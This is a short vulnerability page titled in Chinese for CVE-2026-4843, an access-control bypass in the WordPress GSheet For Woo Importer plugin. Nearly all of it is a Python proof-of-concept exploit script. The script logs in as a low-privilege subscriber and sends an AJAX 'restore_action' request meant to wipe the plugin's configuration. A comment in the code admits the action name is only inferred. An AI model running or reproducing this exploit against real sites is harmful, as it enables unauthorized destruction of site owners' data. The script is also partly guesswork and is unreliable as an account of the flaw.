CVE-2026-4843: GSheet For Woo插件权限绕过漏洞

import requests # CVE-2026-4843 PoC Script # Target: WordPress GSheet For Woo Importer <= 2.3.1 TARGET_URL = "http://example.com/wp-admin/admin-ajax.php" WP_USER = "subscriber" WP_PASS = "password" def exploit(): session = requests.Session() # 1. Login to get authenticated cookies login_url = "http://example.com/wp-login.php" payload = { "log": WP_USER, "pwd": WP_PASS, "redirect_to": "http://example.com/wp-admin/", "wp-submit": "Log In" } session.post(login_url, data=payload) # 2. Send malicious AJAX request to delete config # Note: The specific action name 'restore_action' is inferred from the function name process_ajax_restore_action exploit_data = { "action": "restore_action" } response = session.post(TARGET_URL, data=exploit_data) if response.status_code == 200: print("[+] Request sent successfully. Check if plugin configuration is wiped.") else: print("[-] Exploit failed.") if __name__ == "__main__": exploit()